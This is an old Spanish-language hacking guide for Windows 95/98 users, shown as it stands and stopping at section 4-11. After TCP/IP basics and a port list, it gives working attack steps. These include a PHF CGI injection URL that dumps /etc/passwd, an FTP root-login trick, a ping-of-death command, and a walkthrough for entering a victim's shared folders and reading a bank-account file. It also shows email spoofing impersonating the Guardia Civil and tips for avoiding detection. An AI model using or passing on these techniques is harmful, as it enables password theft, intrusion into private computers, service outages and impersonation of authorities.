°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°
°±ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»±°
°±ºÚ LA SUPER GUIA DEL HACKER ¿º±°
°±º³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³º±°
°±º³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³º±°
°±ºÀ by Nobody Ùº±°
°±ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ±°
°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°
<<<<<<<<<<VERSION DELUXE>>>>>>>>>>>
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
- INDICE:
1 ......................... Que Es Esta Guia Exactamente ?
2 ......................... Descripcion General De Windows.
2-1 ...................... Seguridad En Windows.
3 ......................... Protocolo TCP/IP y Demas Historias.
3-1....................... Puertos.
3-2....................... Ftp.
3-3....................... Telnet.
4 ......................... Hacking Basico En Windows.
4-1 ...................... Phf.
4-2 ...................... Ftp.
4-3 ...................... Ping De La Muerte.
4-4 ...................... Recursos Compartidos.
4-5 ...................... Fake Mail Con El Telnet.
4-6 ...................... Cambiando El Entorno.
4-7 ...................... Finger.
4-8 ...................... Whois.
4-9 ...................... Tracert.
4-10 ..................... Winipcfg.
4-11 ..................... Ipconfig.
4-12 ..................... Arp.
4-13 ..................... Route.
4-14 ..................... Netstat.
5 ......................... Utilizacion De Tools.
5-1 ...................... SkamWerks Lab version 1.1b.
5-2 ...................... WaReZ! Version 95.12.31.
5-3 ...................... John the Ripper v1.4.
5-4 ...................... Gobbler v 2.1.
5-5 ...................... Sharepasswd.
5-6 ...................... Snadboy's Revelation v1.1.
5-7 ...................... Keylog95.
5-8 ...................... Glide.
5-9 ...................... Win95 AnonyMail v 1.0.
5-10 ..................... Hacker's Utility, V 1.02.
5-11 ..................... Haktek v1.1.
5-12 ..................... Claymore Brute Force.
5-13 ..................... Skream's Port Listener V 2.3.
5-14 ..................... WSOCK32 Winsock Spy Facility Version .91
5-15 ..................... PWlTool V 4.0.
5-16 ..................... PwlView V 1.01.
6 ......................... Medidas De Seguridad.
6-1 ...................... Protegiendo Nuestro Ordenador.
6-1 ..................... Ataques Tipicos a Nuestro Windows.
6-2 ..................... Encriptacion De Nuestra Informacion.
6-3 ..................... Eliminar Informacion De Forma Segura.
6-4 ..................... Eliminacion De Virus.
6-1-1 .................... Protegiendo Nuestras Acciones.
6-1-1-1 ................. Borrando Nuestras Huellas.
6-1-1-2 ................. Encriptando Nuestro Correo.
7 ......................... Sugerencias Para Un Mejor Hacking.
8 ......................... Obtener Informacion.
9 ......................... Despedida.
9-1 ...................... Agradecimientos.
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
1. Que Es Esta Guia Exactamente ?
Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no
quiere aprender unix o no lo sabe manejar (grave error). Pues por esta
razon esta guia esta enfocada a los usuarios de windows, principalmente
los de win95/98. Por el contrario esta guia no se dedicara al NT o Unix,
aunque por supuesto se hara referencia a estos sistemas sobre todo cuando
son estos mismos Sistemas Operativos en los cuales se centraran nuestros
actos, supuestamente legales
Todo esto que digo puede sonar tonterias y puedes pensar que en win95/98 no
podras llegar a ser un gran hacker porque es necesario conocer unix, y
estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para
hacer sus pinitos a aquellos que solo saber usar win95/98, yo por mi parte
aconsejo aprender unix por varias razones que no viene a cuento en esta
guia.
Con esta guia te convertiras en un magnifico Hacker usando un sistema que
no es propenso al hacking. Como es normal al usar win95/98 estaremos muy
limitados en muchos aspectos pero podras aprender por ejemplo, algunos
bug que podras usar en tu favor, la utilizacion de diversas herramientas
hacker que no estan disponibles generalemente en win95/98 y ademas a usar
los recursos que te ofrece Internet en tu favor, abreviando un poco tanta
charla, llegaras a conocer la red de una forma diferente y a manejar
win95/98 de forma distinta a lo conocido hasta ahora.
Esta es la version Deluxe, de mi conocida guia LA SUPER GUIA DEL HACKER, la
cual a sido revisada y actualizada, algunas herramientas como el Bo o Netbus
no seran explicadas debido a que son realmente faciles de usar y ademas
disponen de gran variedad de opciones y me saldria un documento monstruoso.
Al igual que me he dejado muchas cosas, que a lo mejor gustaria que
explicara pero realmente es imposible explicarlo todo, ademas el espiritu
hacker es aquella persona que simplemente quiere conocer pero debe
investigar por si misma, de nada sirve que este todo hecho. Por eso os digo:
"Si juegas a Hacker, piensa como un Hacker."
Surfeando por Internet, he encontrado esta guia pasada a HTML y lo
mas curioso es que han quitado mi nick del documento (que raro };-), pues
para estos plagiadores, aqui teneis la version Deluxe para que la volvais
a copiar!!!!!
2. Descripcion General De Windows.
Como todos sabemos el windows95/98 es un popular sistema operativo de la
casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy
sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad
en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros
sistemas operativos. Por ejemplo este es el caso de su "Multitarea" la cual
es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y
ejecuta otro programa y veras esa famosa Multitarea.
El win95/98 es un sistema operativo de 32 bits multitarea, que es muy comodo
para la gente que busca facilidad, pero no te enga¤es pensando que es un
sistema ideal para Internet, puede que para un usuario convencional le sea
estupendo pero para un Hacker se queda muy corto de calle, ya que le falta
muchos servicios que otros sistemas operativos si traen como el que ya
tantas veces he repetido, el Unix (se nota que me encanta??:).
Aqui os dejo de dar la murga sobre win95/98 ya que este texto no esta
destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no
creo que este contando nada nuevo sobre windows o sea que mejor me callo y
si no sabes mucho sobre win95/98, pues ya sabes comprate un libro.
2-1. Seguridad En Windows.
Como todos sabemos la seguridad en win95/98 es nula, es decir, win95/98 no
tiene seguridad por si mismo, un claro ejemplo de esto que es las ventanas
que nos piden un password las podemos cerrar pulsando sobre la X o tambien
nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana
sin meter ningun password.
Por eso para que nuestro ventanas (nombre que se le da a win95/98
tendremos que instalarle algun paquete de seguridad disponible por la red,
que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque
siempre puedes comprar algun paquete comercial de seguridad, en mi opinion
alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y
cuando llega la oportunidad de demostrar su calidad nos falla, ya que no
hay nada seguro 100%.
Proteger nuestro win95/98 es cosa de cada uno pero tranquilidad, que la cosa
no es muy dificil, es cuestion de estar atento a las novedades, en otras
palabras estar informado. Mas abajo ya te entereras de estas cosas.
3. Protocolo TCP/IP y Demas Historias.
El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que
engloba casi todos los servicios que solemos usar como por ejemplo cuando
hacemos telnet, mail, ftp o cualquier cosa.
TCP/IP proviene de Transmission Control Protocol y Internet Protocol
respectivamente. Por fortuna para los usuarios de win95/98, este protocolo
ya viene incorporado nativamente en el sistema, al contrario que ocurria
con el windows 3.x, el cual lo teniamos que instalar para poder conectar
a Internet.
Como has podido comprobar en realidad son 2 protocolos pero que estan
unidos, el primero o sea el TCP es el encargado de las comunicaciones y de
la transmision de los paquetes cuando estamos conectados a un servidor. El
IP es el encargado de que los paquetes llegen a destino por orden aunque
tomen caminos diferentes.
* Diagrama del TCP *
cliente -> El cliente le envia una -> servidor
solicitud de conexion
espeficicando el puerto
de conexion al servidor.
cliente <- El servidor le responde <- servidor
que conoce su peticion
de conexion.
cliente -> El cliente le devuelve <- servidor
otra vez la peticion y
el circuito ya esta
abierto.
* Diagrama del IP *
³Informacion general³Direccion IP³Direccion IP³Datos³
³de cabezera. ³de origen ³de destino. ³ ³
Pues aqui se acaba la explicacion basica de este protocolo, para el que
este interesado en profundizar le remito a que se pille el RFC 1180 o un
fichero disponible en multitud de servidores, desgraciadamente no te puede
asegurar el nombre del fichero ya que lo he encontrado de varias formas
pero te dare el nombre que aparece al editarlo, ya que en todos es igual:
Introduction
to
the Internet Protocols
C R
C S
Computer Science Facilities Group
C I
L S
RUTGERS
The State University of New Jersey
3 July 1987
3-1. Puertos
Antes ya os he explicado muy brevemente la comunicacion del protocolo en
cuestion. Pues ahora os pongo una extensa lista sobre los distintos
puertos y sus servicios correspondientes.
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
passwd_server 752/udp # Kerberos passwd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp
La verdad es que no te quejaras de esta lista. Si quieres mas
informacion sobre los puertos con su debida explicacion mirate el RFC 1060.
3-2. Ftp.
Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol
o sea Protocolo de Transferencia de Ficheros y como podras observar en el
listado de los puertos al FTP le corresponde el 21. Este servicio hay que
conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros
tambien nos puede ayuda en nuestros propositos , por supuesto el hacking.
Sino dispones de ningun cliente FTP, el propio win95/98 lleva incorporado
uno, el unico problema es que no es muy vistoso ya que funciona en modo
MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta
que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y
se pondra en modo FTP. Un ejemplo seria esto:
c:>ftp <- Escribimos FTP.
ftp> <- activado el modo FTP.
Si no sabes manejarlo, escribiendo un "?" o "help" saldran todos los
comandos disponibles del FTP, como no viene a cuento no los explicare pero
buscando por hay podras hallar informacion de lo que hace cada cosa pero
lo mejor es que lo averigues tu solito.
3-3. Telnet.
Por suerte los usuarios de win95/98 con el telnet tienen mas suerte o menos
segun se mire, ya que el servico de Telnet de win95/98 que tambien esta
incorporado en el sistema, es muy facil de manejar y ademas tiene ventana
propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que
tenemos que hacer es ir al menu en la opcion "conectar" y dentro de aqui
la de "sistema remoto", entonces se activara otra ventana en la que
nos saldra tres opciones, la primera "nombre de host" es donde queremos
conectar, "puerto" a que puerto conectamos, por defecto el 23 y por ultimo
tenemos "tipo de terminal" que no hace falta cambiarlo.
El telnet es importante ya que es asi como entramos a una cuenta en un
servidor y podremos hacer lo que tengamos permitido en el sistema.
Logicamente entraremos en una cuenta si tenemos el login y password.
4. Hacking Basico En Windows.
Por fin ya se a acabo el latazo de la explicacion de como moverse por
win95/98. Ahora ya podemos empezar a jugar un poco por inet , siempre
por puro placer pero jamas con malos fines.
En esta seccion os explicare varias maneras de hacking usando el win95/98 a
pelo o sea sin utilizar ninguna herramienta externa.
4-1. Phf.
La primera tecnica ya es muy conocida y la verdad es que tendremos suerte
si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay
que saber buscar y tener paciencia.
Para que esto nos funcione solo tenemos que tener un navegador instalado
en nuesto win95/98, por defecto suele venir el IE o sea que no podras decir
que no tienes, siempre y cuando hallas instalado los paquetes extras.
Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que
corra sobre unix (muchos). Conectamos con un servidor en cuestion,
www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le
a¤adimos:
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Como ya he dicho si todo sale bien nos aparecera el fichero de passwords
del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto
el PHF tiene muchas variantes por eso te aconsejo que busce algo que
profundice en esta tecnica al igual que tambien busca informacion sobre
el fichero passwd de unix para comprenderlo.
4-2. Ftp.
Antes ya te he explicado el funcionamiento del FTP de win95/98, ahora lo
usaremos para sacer el fichero de password de un servidor. Desde una
ventana del MS-DOS llamamos al programa FTP y escribimos:
ftp> open victima.com
Conect to victima.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> dir (o lo que querramos)
Y como siempre es el caso si todo sale bien estaremos metidos en el
sistema como root (en lenguaje unix significa el superusuario, o sea el
que controla el servidor). Por desgracia esta tecnica es muy antigua por
lo que mas seguro no funcionara pero todo es posible.
4-3. Ping De La Muerte.
Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir
Cracker para no ofender a nadie ya que unicamente sirve para tirar un
servidor o sea que se desconecta de Internet y esto puede representar
grandes perdidas a una empresa. Con esto solo os quiero decir que aunque
aqui os lo explicare no es cuestion que lo useis por Internet atacando
servidores.
La utilidad Ping sirve principalmente para saber si un servidor esta activo
y ademas podemos calcular el trafico en la red segun el tiempo de su
respuesta. Basicamente se le envia un paquete a un servidor y este nos
contesta, solo que si se le envia un paquete muy grande puede llegar
desordenado, por lo que el servidor pide al origen que le vuelva a enviar
una parte o la totalidad del paquete, por lo que se produce un datagrama
del ping muy grande y producira su caida. Para ejecutar este ataque solo
tenemos que escribir :
c:>ping -l 65510 victima.com
Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes
de hacer tonterias leed la parte sobre seguridad de la guia.
4-4. Recursos Compartidos.
Como win95/98 NO tiene seguridad nos permite colarnos en el disco duro de
otra persona por Internet y lo mejor del caso es que esta tecnica nos la
proporciona los propios programas del win95/98. Por supuesto no todo es tan
sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala
configuracion del propio usuario al no configurar adecuadamente los
recursos compartidos de su red corriendo sobre win95/98.
Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador
bien configurado, o sea el compartir recursos bien puesto y tambien tener
el Netbios instalado. Para configurarlo, tenemos que tener activado la
opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.
SI por el caso la opcion esta desactivada simplemente pulsamos el boton de
"a¤adir" y a¤adimos el servicio "Compartir ficheros e impresoras en redes
Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion"
en "Cliente para redes Microsoft". Tambien tiene que estar activado el
"Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso
Telefonico a Redes->Conexion a Inet que usaremos->boton derecho->
propiedades, debiendo estar activada la casilla "conectarse a la red".
Ahora ya podemos ponernos manos a la obra, entonces volvemos a una
ventana del MS-DOS y ejecutamos:
c:>nbtstat -A (IP DE LA VICTIMA)
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
VICTIMAMACHINE <00> UNIQUE Registered
VICTIMAGROUP <00> GROUP Registered
VICTIMAMACHINE <03> UNIQUE Registered
VICTIMAMACHINE <20> UNIQUE Registered
VICTIMAGROUP <1E> GROUP Registered
MAC Address = 44-45-53-54-00-00
Cuando ejecutamos este comando nos saldra una tabla como esta y el
primer 'UNIQUE' de tipo <00> es el nombre de la victima y como puedes
ver la maquina se llama VICTIMAMACHINE.
Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso
encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP
y el nombre de la maquina en cuestion, esto seria de la siguiente forma:
c:>edit c:windowssystem32LMHOSTS
VICTIMAMACHINE
Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos
un comando para a¤adir el ordenador de la victima a nuestro Netbios y
esto seria de la siguiente forma:
c:>NBTSTAT -R
Ahora nos interesa saber que recursos comparte la victima y esto tampoco
nos traera complicacion alguna:
c:>net view VICTIMAMACHINE
Shared resources at VICTIMAMACHINE
Sharename Type Comment
-----------------------------------------
BANCO Disk
Y como podemos observar comparte una carpeta llamada BANCO.
Ahora ya podemos operar como si fuese una terminal mas en nuestra red local
sobre win95/98. Ya solo nos queda ejecutar el comando que querramos, si por
ejemplo queremos ver el contenido, solo tenemos que escribir:
c:> dir VICTIMAMACHINEBANCO
O para leer cualquier fichero de la carpeta:
c:> type VICTIMAMACHINEBANCOCUENTABANCARIA.TXT
Si queremos conectar al recurso compartido de forma grafica (o sea con
una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar
INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible
si hemos a¤adido la VICTIMAMACHINE a una unidad de red a la que podamos
llamar, deberemos ejecutar:
c:>NET USE e: MIPCWINDOWS
Esta tecnica solo funciona si la maquina remota ejecuta win95/98 o win 3.11
y ademas comparte las carpetas sin contrase¤a en modo "Acceso a nivel
compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase
el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en
esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina
para que este autorizada, esto lo conseguiremos con el Regedit, por
desgracia los sistemas win95/98 y OSR2 que estan ejecutando el Servidor Web
Personal de Microsoft desactivan esta posibilidad de acceso remoto tras
informar de la conveniencia de hacerlo al usuario, ya que el servidor web
obliga a compartir carpetas aun sin tener red local.
Logicamente un usuario que haya tenido el despiste de conectarse a Internet
con carpetas compartidas no toma luego medidas de control sobre quien
entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser
pillados si por ejemplo un usuario ejecuta el programa Netwatch, que
muestra los usuarios conectados a nuestra computadora en cada momento y por
supuesto el nombre de las computadoras por lo que es aconsejable cambiar el
nombre de nuestra computadora usando el Regedit. Si nuestra maquina se
llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con
el Regedit a un nombre menos sospechoso.
Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra
computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos
una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se
dara cuenta de nuestra entrada. Tambien hay que decir que si la
VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo
"hay otros usuarios conectados a su ordenador, si apaga se desconectaran"
si ocurre esto seremos pillados.
Decir que el comando Net, dispone de muchos parametros que nos puede ser
utiles y ademas podemos jugar durante mucho tiempo con ellos los cuales
son los siguientes:
c:>net /?
For more information about a specific Microsoft NET
command, type the command name followed by /?
(for example, NET VIEW /?).
NET CONFIG Displays your current workgroup settings.
NET DIAG Runs the Microsoft Network Diagnostics program to
display diagnostic information about your network.
NET HELP Provides information about commands and
error messages.
NET INIT Loads protocol and network-adapter drivers without
binding them to Protocol Manager.
NET LOGOFF Breaks the connection between your computer and
the shared resources to which it is connected.
NET LOGON Identifies you as a member of a workgroup.
NET PASSWORD Changes your logon password.
NET PRINT Displays information about print queues
and controls print jobs.
NET START Starts services.
NET STOP Stops services.
NET TIME Displays the time on or synchronizes your computer's
clock with the clock on a Microsoft Windows for
Workgroups, Windows NT, Windows 95, or NetWare time server.
NET USE Connects to or disconnects from a shared
resource or displays information about
connections.
NET VER Displays the type and version number of the
workgroup redirector you are using.
NET VIEW Displays a list of computers that share
resources or a list of shared resources
on a specific computer.
The command was completed successfully.
Pues aqui teneis todos los parametros disponibles del comando Net, por lo
que solo nos queda jugar un rato para saber que es cada cosa. No es
divertido si os lo explico todo.
4-5. Fake Mail Con El Telnet.
Esta tecnica nos ayuda a suplantar la direccion de correo electronica que
querramos . La verdad es que tiene pocos usos, en mi opinion debido a
una serie de razones pero siempre puede servir para gastar una buena
broma enviando aun amigo un mail del director de la Universidad diciendo
que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la
Guardia Civil.
La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar
unas ciertas medidas de seguridad, que ya explicare luego. Lo primero
que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del
Telnet ya lo explique mas arriba) y donde pone "puerto" en vez de poner
el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos
a que nos conectemos a ese puerto, cuando conectemos nos saldra un
mensaje y esta esperando a que pulsemoa alguna tecla:
220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)
[d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)
Muchas veces lo que podemos hacer es escribir "help" y saldran todos los
comandos, tambien podemos escribir "echo" y la maquina nos contestara que
esta lista. Para escribir un mail hay que seguir una serie de pasos:
mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.
El servidor nos contesta:
250 <gc.uco@mad.servicom.es> ... Sender Okay
Ahora escribimos:
rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.
El servidor nos contesta:
250 <nob_ody@xxxxxxxx.com> ... Recipiant Okay
Ahora escribimos:
data
El servidor nos contesta:
354 Enter mail, end with "." on a line by itself
Ahora escribimos:
To: nob_ody@xxxxxxxx.com
From: gc.uco@mad.servicom.es
Subject: Te querremos!!
Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te
querremos fichar para el departamento.
Direccion General de
la Guardia Civil
. <- para terminar el mail.
El servidor nos contesta:
250 Mail accepted
Ahora escribimos:
quit <- ya esta todo listo
Pues ves como es realmente simple!! Pero antes de empezar a jugar con
esta tecnica tenemos que asegurarnos que el servidor de mail no regrista
nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a
alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail
sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet
sobre servidores que permiten hacer esto.
4-6. Cambiando El Entorno.
Esta tecnica no es que sea propia del hacking ya que solo sirve para
cambiar la pantalla de inicio o la de finalizar windows. Los logos de
windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros
con extension SYS pero siguen siendo realmente BMP'S.
El logo del principio de windows (ya sabes el de las nubes) lo podeis
encontrar como:
c:>logo.sys
Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo
y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro
grafico y si lo volvemos a quitar, usara el de siempre. El logo del final
(cuando cierra windows) esta en el directorio windows y lo podemos
encontrar como:
c:windows>logos.sys
Logicamente es obligatorio que los graficos que querramos sustituir
tengan de tama¤o 320x400 y sean ficheros BMP'S. Conviene que les pongamos
el atributo de ocultos, que esto se hace con el comando Attrib, por
ejemplo:
c:windows>attrib +h logos.sys <- lo oculta.
c:windows>attrib -h logos.sys <- lo hace visible.
4-7. Finger.
La utilidad Finger, muy usada en Unix, en realidad no esta disponible en
Win95/98 pero como somos Hackers nosotros si que somos capaces desde
Win95/98. Finger se utiliza para obtener informacion de un servidor. Puede
parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los
Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos
vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la
ultima vez que estuvo, etc...) y asi muchas cosas.
La verdad es que para usar el Finger usaremos cualquier navegador, IE o
Netscape. Simplemete nos dirigimos a un url un poco especial, es un web
que permite hacer Finger a cualquier host y nos deveulve los resultados.
Esto se conoce como "Finger Gateway". El url del web es:
http://www.hgp.med.umich.edu/cgi-bin/finger
4-8. Whois.
La utilidad Whois, al igual que Finger es muy comun en Unix y no esta
disponible en Win95/98 pero comos somos asi de listos saldremos del apuro.
Tambien sirve para pedir informacion de un servidor pero no el igual que
Finger, ya que se diferencian en el tipo de informacion, el finger se suele
utilizar mucho para buscar direcciones de correo mientras que el Whois,
para averiguar informacion sobre un servidor en concreto.
Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un
host muy especial:
c:>telnet whois.internic.net
Por supuesto Internic, una empresa privada norte ameriacana que se
encarga de controlar los dominios de Internet, y podemos usar su base
de datos para pedir informacion sobre un servidor.
Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_
del_servidor" y nos sacara la informacion.
telnet InterNIC > whois aol.com
Connecting to the rs Database . . . . . .
Connected to the rs Database
America Online (AOL-DOM)
12100 Sunrise Valley Drive
Reston, Virginia 22091
USA
Domain Name: AOL.COM
Administrative Contact:
O'Donnell, David B (DBO3) PMDAtropos@AOL.COM
703/453-4255 (FAX) 703/453-4102
Technical Contact, Zone Contact:
America Online (AOL-NOC) trouble@aol.net
703-453-5862
Billing Contact:
Barrett, Joe (JB4302) BarrettJG@AOL.COM
703-453-4160 (FAX) 703-453-4001
Record last updated on 13-Mar-97.
Record created on 22-Jun-95.
Domain servers in listed order:
DNS-01.AOL.COM 152.163.199.42
DNS-02.AOL.COM 152.163.199.56
DNS-AOL.ANS.NET 198.83.210.28
Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto
es lo que nos ha sacado Internic. Al final podemos ver los dominios
asociados a AOL. Pues sencillo y muy util, el whois.
4-9. Tracert.
Esta utilidad que si esta implementada en Win95/98, nos sirve para calcular
el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos
saber por cuantos servidores pasa. Muy util para sacar posibles servidores
victimas si nos llaman la atencion.
Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert,
a secas y nos sacara el menu de opciones disponible.
c:>tracert
Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
Options:
-d Do not resolve addresses to hostnames.
-h maximum_hops Maximum number of hops to search for target.
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.
Pues como veis, no tiene ningun misterio las opciones del Tracert, por
lo que ya aprendereis su uso con la experiencia. Ahora escribimos una
direccion IP cuando invocamos al Tracert, de la siguente forma:
c:>tracert 198.83.210.28
Tracing route to dns-aol.ans.net [198.83.210.28]
over a maximum of 30 hops:
1 * * * Request timed out.
2 138 ms 145 ms 135 ms 204.134.78.201
3 212 ms 191 ms 181 ms glory-cyberport.nm.westnet.net [204.134.78.33]
4 166 ms 228 ms 189 ms enss365.nm.org [129.121.1.3]
5 148 ms 138 ms 177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]
6 284 ms 296 ms 178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]
7 298 ms 279 ms 277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]
8 238 ms 234 ms 263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]
9 301 ms 257 ms 250 ms dns-aol.ans.net [198.83.210.28]
Trace complete.
Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado
al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.
4-10. Winipcfg.
Ejecutando este comando, nos saldra una ventana windows informandonos de
los diferentes valores de nuestra red. Realmente util para verificar la
configuracion.
4-11. Ipconfig.
